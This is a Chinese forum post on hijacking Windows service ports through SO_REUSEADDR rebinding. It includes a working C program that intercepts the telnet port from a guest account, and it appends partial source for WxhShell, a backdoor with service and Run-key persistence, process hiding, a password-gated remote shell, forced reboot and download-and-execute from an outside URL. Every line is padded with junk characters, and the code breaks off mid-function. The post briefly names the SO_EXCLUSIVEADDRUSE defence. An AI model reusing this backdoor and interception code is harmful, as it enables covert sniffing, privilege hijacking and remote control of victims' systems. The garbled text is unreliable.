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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: EpU}~vC9C  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;@FCa j&  
X8\UTHT& 0  
  saddr.sin_family = AF_INET; { u %xc"0y  
%}}?Y`/W )  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); x+8%4]u`  
5rH?FQE  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^r@,(r6w  
Pq(7lua7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .2{*>Dzi  
+:kMYL3  
  这意味着什么?意味着可以进行如下的攻击: Jq*Q;}n  
jYk5]2#A  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 WYm<_1  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) r7jh)Q;BbR  
P}=U #AV4  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ' >k1h.i  
{HtW`r1)Tt  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `rest_vu  
u\q(v D.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 O~#A )d6  
'm TQ=1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _-|+k  
vyvb-oz;u  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 L]* 5cH  
G$[Hm\V  
  #include )8`i%2i=  
  #include -)Hc^'.  
  #include 8bdx$,$k  
  #include    Ei4Iv#Oi`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   V<ii  
  int main() ^6QzaC3  
  { `b KJ  
  WORD wVersionRequested; ENy$sS6[D  
  DWORD ret; jx#9  
  WSADATA wsaData; L0;XzZ S  
  BOOL val; ~5o2jTNy`p  
  SOCKADDR_IN saddr; zyB>peAp6j  
  SOCKADDR_IN scaddr; INEE 37%  
  int err; ~wQ M ?h  
  SOCKET s; 'Ll'8 ps  
  SOCKET sc; ~7w LnB  
  int caddsize; wlFK#iK  
  HANDLE mt; :;jRAjq"  
  DWORD tid;   i8A-h6E  
  wVersionRequested = MAKEWORD( 2, 2 ); jbe_r<{  
  err = WSAStartup( wVersionRequested, &wsaData ); TDX~?> P  
  if ( err != 0 ) { 'iU+mRLp  
  printf("error!WSAStartup failed!\n"); -_M':  
  return -1; ^fj30gw7\5  
  } A_Y5{6@  
  saddr.sin_family = AF_INET; XzBlT( `w  
   a Z8f>t1Q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 E(_lm&,4+  
^"iJ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); cs 58: G5  
  saddr.sin_port = htons(23); T>|Y_3YO_a  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OHv4Yy]$B  
  { Md&K#)9,(  
  printf("error!socket failed!\n"); %6la@i  
  return -1; u s8.nL/  
  } nG%<n  
  val = TRUE; )4RSo&9p`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 p2 !w86 F  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2^qJ'<2]M  
  { gnadx52FP  
  printf("error!setsockopt failed!\n"); X!6$<8+1OV  
  return -1; deEc;IAo  
  } JfRLqA/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?DE{4Ti/[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Myf2"\}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,0eXg  
q ,+29  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ; o(:}d  
  { IdCE<Oj\  
  ret=GetLastError(); R[l~E![!j  
  printf("error!bind failed!\n"); uR.`8s|  
  return -1; 4|UtE<<b  
  } %I;uqf  
  listen(s,2); ?:6w6GwAA  
  while(1) yQ !keGj  
  { N|%X/UjZ2.  
  caddsize = sizeof(scaddr); Js(MzL  
  //接受连接请求 )"]( ?V  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Mp(;PbVD  
  if(sc!=INVALID_SOCKET) ';m;K (g  
  { :o:Z   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1.5R`vKn]  
  if(mt==NULL) S{Zf}8?6$  
  { iI3,q-LA  
  printf("Thread Creat Failed!\n"); t]T't='  
  break; G[=;519  
  } L) UCVm  
  } 2t?Vl%<  
  CloseHandle(mt); >-y}t9[/  
  } Rq`5ff3,  
  closesocket(s); `Ue5;<K-/  
  WSACleanup(); ,BR W=  
  return 0; 4]ko  
  }   wEw;],ur  
  DWORD WINAPI ClientThread(LPVOID lpParam) yH9&HFDp  
  { ^\r{72!y  
  SOCKET ss = (SOCKET)lpParam; ikO9p|J  
  SOCKET sc; ANfy+@  
  unsigned char buf[4096]; iu$Y0.H@  
  SOCKADDR_IN saddr; nd[Ja_h  
  long num; l5D4 ?`|  
  DWORD val; Wiyiq )^  
  DWORD ret; `/9I` <y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 4>/i,_&K K  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >*\yEH9"  
  saddr.sin_family = AF_INET; 4%4Yqx )  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); nW`] =  
  saddr.sin_port = htons(23); f ~bgZ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8U n0<+b  
  { -C8LM ls  
  printf("error!socket failed!\n"); ]]y4$ [|L  
  return -1; t#%J=zF{  
  } `~\8fN  
  val = 100; m}f{o  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !3{. V\P)  
  { d$8K,-M  
  ret = GetLastError(); 79I"F'  
  return -1; NErvX/qK  
  } 7`e<H8g  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) { R/e1-;  
  { )-h{0o  
  ret = GetLastError(); 7I*rtc&Kb  
  return -1; o6:@j#b  
  } wr~Qy4 ny  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) S]A[eUF~  
  { vQj{yJ\l1  
  printf("error!socket connect failed!\n"); TmK8z  
  closesocket(sc); ?A04qk  
  closesocket(ss); qE8Di\?  
  return -1; h,6> ^A  
  } SwaMpNXL  
  while(1) or bz`IQc  
  { JSx[V<7m  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 hLVgP&/ E  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 shO4>Ha  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 D[6wMep^n  
  num = recv(ss,buf,4096,0); ",' Zr<T  
  if(num>0) V;Q@' <w  
  send(sc,buf,num,0); @jq H8  
  else if(num==0) fAfB.|cd  
  break; Z-yoJZi  
  num = recv(sc,buf,4096,0); 5kADvi.  
  if(num>0) 5DO}&%.xt  
  send(ss,buf,num,0); !)}D_9{  
  else if(num==0) 1:_}`x=hM  
  break; L">m2/ HG  
  } c._!dq&#R  
  closesocket(ss); EfkBo5@Qi  
  closesocket(sc); M:L-j{?y_  
  return 0 ; K)}Vr8,V  
  } # %'%LY=  
Y![8-L|Q  
t~.^92]s|  
========================================================== ad9u;uS  
=LEzcq>XO  
下边附上一个代码,,WXhSHELL eLbh1L  
a&dP@)  
========================================================== i[w&!mn%  
B9 ,  
#include "stdafx.h" 7[i&EPN  
kBY#= e).  
#include <stdio.h> |tz{Es<`B  
#include <string.h> $Rn9*OKr  
#include <windows.h> vE)d0l"  
#include <winsock2.h> P7REE_<1  
#include <winsvc.h> }=.C~f]A  
#include <urlmon.h> Xn5LrLM&  
c{39,oF  
#pragma comment (lib, "Ws2_32.lib") ]7RK/Zu i  
#pragma comment (lib, "urlmon.lib") ) q/brCq  
xK4E+^ b  
#define MAX_USER   100 // 最大客户端连接数 dj}P|v/;z  
#define BUF_SOCK   200 // sock buffer )Y"t$Iw"  
#define KEY_BUFF   255 // 输入 buffer #-{ljjMQI  
G^SDB!/@J  
#define REBOOT     0   // 重启 85Kf>z::c  
#define SHUTDOWN   1   // 关机 )bpdj,  
{7q8@`Oa  
#define DEF_PORT   5000 // 监听端口 r5+ MjR  
/Ao.b|mm  
#define REG_LEN     16   // 注册表键长度 sDu&9+  
#define SVC_LEN     80   // NT服务名长度 ?,C'\8'  
f9hH{ ( A  
// 从dll定义API Zm(}~C29  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Uo[`AzD3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]iZ-MG)J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q8h=2YL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9WHarv2@  
3E>]6  
// wxhshell配置信息 [|YJg]i-  
struct WSCFG { H>"P]Y)oX  
  int ws_port;         // 监听端口 !\5)!B  
  char ws_passstr[REG_LEN]; // 口令 'b+ Tio  
  int ws_autoins;       // 安装标记, 1=yes 0=no Nov An+  
  char ws_regname[REG_LEN]; // 注册表键名 u/wWD@,  
  char ws_svcname[REG_LEN]; // 服务名 @[n%q.|VB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 EJJ&`,q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Tc|+:Usy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %;J$ h^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?3i<^@?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5"+;}E|q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dbF9%I@  
5j _[z|W2  
}; ZJ[p7XP  
"L9pFz</  
// default Wxhshell configuration U]ZI_[\'U  
struct WSCFG wscfg={DEF_PORT, 5z" X>!?^  
    "xuhuanlingzhe", ^Nysx ~6  
    1, s5X51#J#~  
    "Wxhshell", En0hjXa  
    "Wxhshell", 0,iG9D 7  
            "WxhShell Service", ? :F Jc[J  
    "Wrsky Windows CmdShell Service", Kn2W{*wD  
    "Please Input Your Password: ", P%<MQg|k`  
  1, Ac/LNqIs  
  "http://www.wrsky.com/wxhshell.exe", 1z@ ncqe  
  "Wxhshell.exe" 5rJ7CfVq  
    }; 18y'#<X!  
|voZ0U  
// 消息定义模块 P{,=a]x,mz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W=,]#Z+M;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; QR$m i1Vv\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,{Z!T5 |  
char *msg_ws_ext="\n\rExit."; }q?q)cG  
char *msg_ws_end="\n\rQuit."; !{ORFd  
char *msg_ws_boot="\n\rReboot..."; ={{q_G\WD  
char *msg_ws_poff="\n\rShutdown..."; 4=|oOIhgb  
char *msg_ws_down="\n\rSave to "; yWi?2   
Cn>t"#zs!~  
char *msg_ws_err="\n\rErr!"; |]?7r?=J9v  
char *msg_ws_ok="\n\rOK!"; #Q|ACNpYM  
<,9rXjeRl  
char ExeFile[MAX_PATH]; ETfoL.d$(  
int nUser = 0; 4c.!^EiV  
HANDLE handles[MAX_USER]; 0X%#9s ~  
int OsIsNt; `>0(N.'T  
|Lc.XxBkc  
SERVICE_STATUS       serviceStatus; 5g2:o^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F_V/&OV  
}w)wW1&  
// 函数声明 Nxm '* -A  
int Install(void); h6D1uM"o   
int Uninstall(void); X C '|  
int DownloadFile(char *sURL, SOCKET wsh); <h`}I3Ao  
int Boot(int flag); i\RB KF  
void HideProc(void); Ul:M=8nE%  
int GetOsVer(void); Gk|T1%  
int Wxhshell(SOCKET wsl); #jw%0H;l]  
void TalkWithClient(void *cs); >}86#^F  
int CmdShell(SOCKET sock); QVD^p;b  
int StartFromService(void); 0'R}'  
int StartWxhshell(LPSTR lpCmdLine); AQ,%5MeqJ  
; VQ:\f G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L0ZAF2O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &=lh Kt  
=8 DS~J{  
// 数据结构和表定义 N2Cf(  
SERVICE_TABLE_ENTRY DispatchTable[] = !Eb!y`jK  
{ p Acu{5#7  
{wscfg.ws_svcname, NTServiceMain}, :n oZ p:a  
{NULL, NULL} UR[UZ4G  
}; CW~c<,"  
,){WK|_  
// 自我安装 Z'c9xvy5  
int Install(void) qnw8#!%I  
{ (z%OK[  
  char svExeFile[MAX_PATH]; Qs_]U  
  HKEY key; |PLWF[+t8  
  strcpy(svExeFile,ExeFile); vz)zl2F5sY  
^i17MvT'  
// 如果是win9x系统,修改注册表设为自启动 tSaD=#v  
if(!OsIsNt) { 1( ]{tF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H(Ad"1~.#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l D]?9K29  
  RegCloseKey(key); {)- 3g~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q}J Eesf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vc "+|^  
  RegCloseKey(key); -4S4I  
  return 0; z HvW@A'F  
    }  37|EG  
  } N!13QI H  
} `W4Is~VVv  
else { m>'#664q1  
8*(|uX  
// 如果是NT以上系统,安装为系统服务 5+*CBG}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2Vg+Aly4D  
if (schSCManager!=0) kJ B u7  
{ |TuFx=~5v  
  SC_HANDLE schService = CreateService .WW|v  
  ( \0^Je>-:U  
  schSCManager, !A"-9OS2  
  wscfg.ws_svcname, 8jgamG  
  wscfg.ws_svcdisp, !GZ{UmwA  
  SERVICE_ALL_ACCESS, tnw6[U!rh=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , CSMx]jbb  
  SERVICE_AUTO_START, [3(lk_t  
  SERVICE_ERROR_NORMAL, R9%"Kxm  
  svExeFile, N1'$;9 c  
  NULL, AJt4I W@  
  NULL, iKgH :[j  
  NULL, E^V4O l<  
  NULL, :z+l=d:4  
  NULL R,W w/D  
  ); 1zY" Uxp  
  if (schService!=0) q]m$%>  
  { Iyt.`z  
  CloseServiceHandle(schService); h) W|~y@  
  CloseServiceHandle(schSCManager); lf2(h4[1R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h=ko_/<  
  strcat(svExeFile,wscfg.ws_svcname); H`8}w{ft&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rh6m  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [u/Wh+  
  RegCloseKey(key); DgC;1U'  
  return 0; W/<C$T4  
    } 93y!x}  
  } &+8cI^ kp  
  CloseServiceHandle(schSCManager); 'V:ah3 8  
} e>$E67h<~  
} RMBPm*H  
F2mW<REg{  
return 1; 7By&cdl  
} !o8(9F  
Uj> bWa`  
// 自我卸载 =7<g;u   
int Uninstall(void) AJ85[~(lX  
{ -l q,~`v  
  HKEY key; {us"=JJVN  
Lz}mz-N  
if(!OsIsNt) { <qCfw>%2F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9K_p4 mq  
  RegDeleteValue(key,wscfg.ws_regname); ~_"/\; 1  
  RegCloseKey(key); mO^vKq4r.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~Z x_"  
  RegDeleteValue(key,wscfg.ws_regname); _9"%;:t  
  RegCloseKey(key); $oH?7sj  
  return 0; +:m'  
  } ?h'd\.j{  
} " IC0v9  
} <I^Tug\M+  
else { _w49@9?  
Y+_t50 S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W= $, \D+  
if (schSCManager!=0) f#zm}+,`  
{ DbvKpM H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K1^x+I7%U[  
  if (schService!=0) Py-}tFr  
  { _tpqo>  
  if(DeleteService(schService)!=0) { Y'2 |GJc2  
  CloseServiceHandle(schService); ;TG<$4N  
  CloseServiceHandle(schSCManager); yX|0 R H  
  return 0; /FA0(< -}  
  } KJN{p~Q  
  CloseServiceHandle(schService); e'1}5Ky  
  } Ra^GbT|Z  
  CloseServiceHandle(schSCManager); nn6&`$(Q~  
} Cw&U*H  
} Tjza3M  
8yn}|Y9Fu  
return 1; =$awUy  
} g:CMIe4  
w&^_2<a2  
// 从指定url下载文件 0|@* `-:VO  
int DownloadFile(char *sURL, SOCKET wsh) TClgywL  
{ o<8=@ ^T  
  HRESULT hr; NU$?BiB?R  
char seps[]= "/"; 8!u8ZvbFG  
char *token; xdd;!HK,  
char *file; *S=zJyAO  
char myURL[MAX_PATH]; #&ZwQw  
char myFILE[MAX_PATH]; 2';f8JLY  
0'4V*Y  
strcpy(myURL,sURL); fI1,L"  
  token=strtok(myURL,seps); !_My]>S  
  while(token!=NULL) 8\@&~&(y:  
  { nA>kJSL'$  
    file=token; %(y0,?*  
  token=strtok(NULL,seps); bClMM  
  } ;33LuD<h.  
Q,z^eMk'd:  
GetCurrentDirectory(MAX_PATH,myFILE); c @~j}(A  
strcat(myFILE, "\\"); E8s&.:;+  
strcat(myFILE, file); *FrlzIAom  
  send(wsh,myFILE,strlen(myFILE),0); o>}fKg<  
send(wsh,"...",3,0); U4ELlxGe  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); eW^_YG%(  
  if(hr==S_OK) 4` zfrT^  
return 0; ;OynkZs)  
else *%wfR7G[B  
return 1; j=~c( B  
3G)Wmmh"a  
} (r+#}z}  
?Wz rv&E2  
// 系统电源模块 |VRzIA4M\  
int Boot(int flag) *Af:^>mh  
{ [exIK  
  HANDLE hToken; jLu`DKB  
  TOKEN_PRIVILEGES tkp; K}p!W"!o  
&E&e5(&$  
  if(OsIsNt) { 8Qt'Y9|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cy-Bhk0H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {@8TGHKv  
    tkp.PrivilegeCount = 1; '8b/TL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wa*/Am9;~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5??\[C^"}  
if(flag==REBOOT) { }- P ='AyL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /?wH1 ,  
  return 0; u!VAAX  
} Q-g}{mFS  
else { 2po>%Cp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1^4z/<ZWm  
  return 0; nR1QS_@{L  
} Dtw1q-  
  } >uN)O-  
  else { rG*Zp7{  
if(flag==REBOOT) { >u:t2DxE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mgxoM|n6  
  return 0; ufekhj  
} 7jL3mI;n%;  
else { 3j iSvrfI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xF4>G0  
  return 0; bEJz>oyW"  
} uYv"5U]MFv  
} ?-`G0(  
v9qgfdBS5  
return 1; sw'?&:<"Ow  
} 0[qU k(=}[  
s;'j n_,0  
// win9x进程隐藏模块 "A6T'nOP  
void HideProc(void) ] _WB^  
{ _z$lg]q  
sm~{fg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~;*SW[4  
  if ( hKernel != NULL ) "5,tEP!  
  { ,c;u]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :DlgNR`bq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t<|S7EqIL  
    FreeLibrary(hKernel); &(] @L\A  
  } 1dy>a=W  
9$u'2TV  
return; |%@.@c  
} ,r-l^I3<  
$\ 0d9^)&  
// 获取操作系统版本 UtebSQ+h\  
int GetOsVer(void) 1j7sJ" *  
{ ?/ @~ d  
  OSVERSIONINFO winfo; ?{OB+f}Mo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A@kp` -  
  GetVersionEx(&winfo); u ::2c  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "XEK oeG{  
  return 1; 1UHStR  
  else 8RfFP\AP  
  return 0; 4t0B_o"  
} Sf2pU!5n^  
>(} I7  
// 客户端句柄模块 mrzrQ@sN  
int Wxhshell(SOCKET wsl) _'yN4>=6u  
{ RiY9[ec2  
  SOCKET wsh; &F*L=Ng  
  struct sockaddr_in client; %6vf~oG  
  DWORD myID; wm$1LZ8o-`  
oTPPYi[r  
  while(nUser<MAX_USER) d3$&I==;:  
{ YtzB/q8I  
  int nSize=sizeof(client); pt rQ~m-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5jTBPct   
  if(wsh==INVALID_SOCKET) return 1; Aqwjs 3  
B4yC"55  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /=5YHq>  
if(handles[nUser]==0) q^e4  
  closesocket(wsh); 'n9<z)/,!  
else nnV(MB4z1  
  nUser++; kXmnLxhS/  
  } hf/6VlZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~qG`~/7  
uK:?6>H  
  return 0; =lzRx%tm  
}  f:_\S  
{g:I5 A#  
// 关闭 socket ndIf1}   
void CloseIt(SOCKET wsh) =Mb1)^m  
{ bvf}r ,`Q7  
closesocket(wsh); )jh4HMvmC  
nUser--; =,/08Cs  
ExitThread(0); *vL2n>HH  
} 8J P{`)  
+wAH?q8f  
// 客户端请求句柄 v[r5!,F  
void TalkWithClient(void *cs) Kd?TIeFE  
{ G\y:O9(  
&B</^:  
  SOCKET wsh=(SOCKET)cs; t(O{IUYM  
  char pwd[SVC_LEN]; f__r " N  
  char cmd[KEY_BUFF]; dPdodjSu,!  
char chr[1]; GWNLET  
int i,j; { *"I4  
{xw"t9(fE  
  while (nUser < MAX_USER) { Rn (vG-xQ  
`h>a2   
if(wscfg.ws_passstr) { Q -!,yCu  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u}eqU%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y5d=r]_S:  
  //ZeroMemory(pwd,KEY_BUFF); E|(T(4;  
      i=0; s&<6{AU(id  
  while(i<SVC_LEN) { 3HU_ ~%l  
\ 2$nFr?0  
  // 设置超时 +bG^SH2ke  
  fd_set FdRead; s~@4  
  struct timeval TimeOut; ~w&P]L\dB  
  FD_ZERO(&FdRead); QEe\1>1"&  
  FD_SET(wsh,&FdRead); }=1#ANM1  
  TimeOut.tv_sec=8; a@E+/9  
  TimeOut.tv_usec=0; bZ-"R 6a$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #}/YnVk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?R7>xrp5  
xQ[~ c1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "ooq1 0P  
  pwd=chr[0]; ionFPc].  
  if(chr[0]==0xd || chr[0]==0xa) { Sn I-dXNF  
  pwd=0; i@=0fHiZQ  
  break; ?onaJ=mT  
  } 8X6F6RK6,1  
  i++; CCCd=s.  
    } W 6_~.m"b  
0Q81$% @<  
  // 如果是非法用户,关闭 socket XYJ7k7zc+Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rOt`5_2f  
} C%$:Oq  
7oPLO(0L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y#>'.$ (Az  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C@{#OOa  
|i)7j G<  
while(1) { LciSQ R!  
3ErW3Ac Ou  
  ZeroMemory(cmd,KEY_BUFF); O F$0]V  
[Yo3=(7J  
      // 自动支持客户端 telnet标准   tE i-0J  
  j=0; q5jLK)  
  while(j<KEY_BUFF) { YVzcV`4w(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F/MzrK\':m  
  cmd[j]=chr[0]; 5 pJ)OX  
  if(chr[0]==0xa || chr[0]==0xd) { v8 Q/DJ~  
  cmd[j]=0; k<1BE^[V  
  break; >/*wlY!E  
  } < r6e23  
  j++; YL(7l|^!  
    } ,QDS_u$xi&  
8<,b5  
  // 下载文件 >EVlMt27'  
  if(strstr(cmd,"http://")) { tY?_#rc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r:[N#*kK  
  if(DownloadFile(cmd,wsh)) 'S_kD! BO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); I! s&m%s  
  else ^tWt"GgC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -8sm^A>C  
  } K+3dwQo  
  else { >C6wm^bl  
>(v%"04|e  
    switch(cmd[0]) { `t0?PpUo  
  !$ $|zB%  
  // 帮助 hD~P)@^  
  case '?': { -JL  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m7zx,bz>  
    break; ooJ ^8L  
  } JfJUOaL  
  // 安装 +-b:XeHSZ  
  case 'i': { ?y.q<F)  
    if(Install()) h8IjTd]z{$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [iJU{W  
    else Hwr# NKz-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kbqG)  
    break; )_*<uSl  
    } d2b  L_  
  // 卸载 +UzFHiGy#  
  case 'r': { ]SNA2?q  
    if(Uninstall()) Mx ?{[zT"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yzr RnVr  
    else PUMh#^g}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5k0r{^#M  
    break; B;SN}I  
    } ;B%NFvG  
  // 显示 wxhshell 所在路径 z tS P4lW  
  case 'p': { )Fc` rY  
    char svExeFile[MAX_PATH]; ]Lc:M'V#  
    strcpy(svExeFile,"\n\r"); ]ne&`uO  
      strcat(svExeFile,ExeFile); b;wf7~a*  
        send(wsh,svExeFile,strlen(svExeFile),0); "AN2K  
    break; <+MNv#1:w  
    } {@T8i ^EI  
  // 重启 =@#[@Ia  
  case 'b': { %O 5 k+~9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); txF)R[dZK  
    if(Boot(REBOOT)) `;[ j`v8O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @agW{%R:.  
    else { uZsm=('ww  
    closesocket(wsh); UlBg6   
    ExitThread(0); s?;rP,{:p  
    } . &dh7` l  
    break; 2o0.ttBAqZ  
    } 0\ G`AO;D  
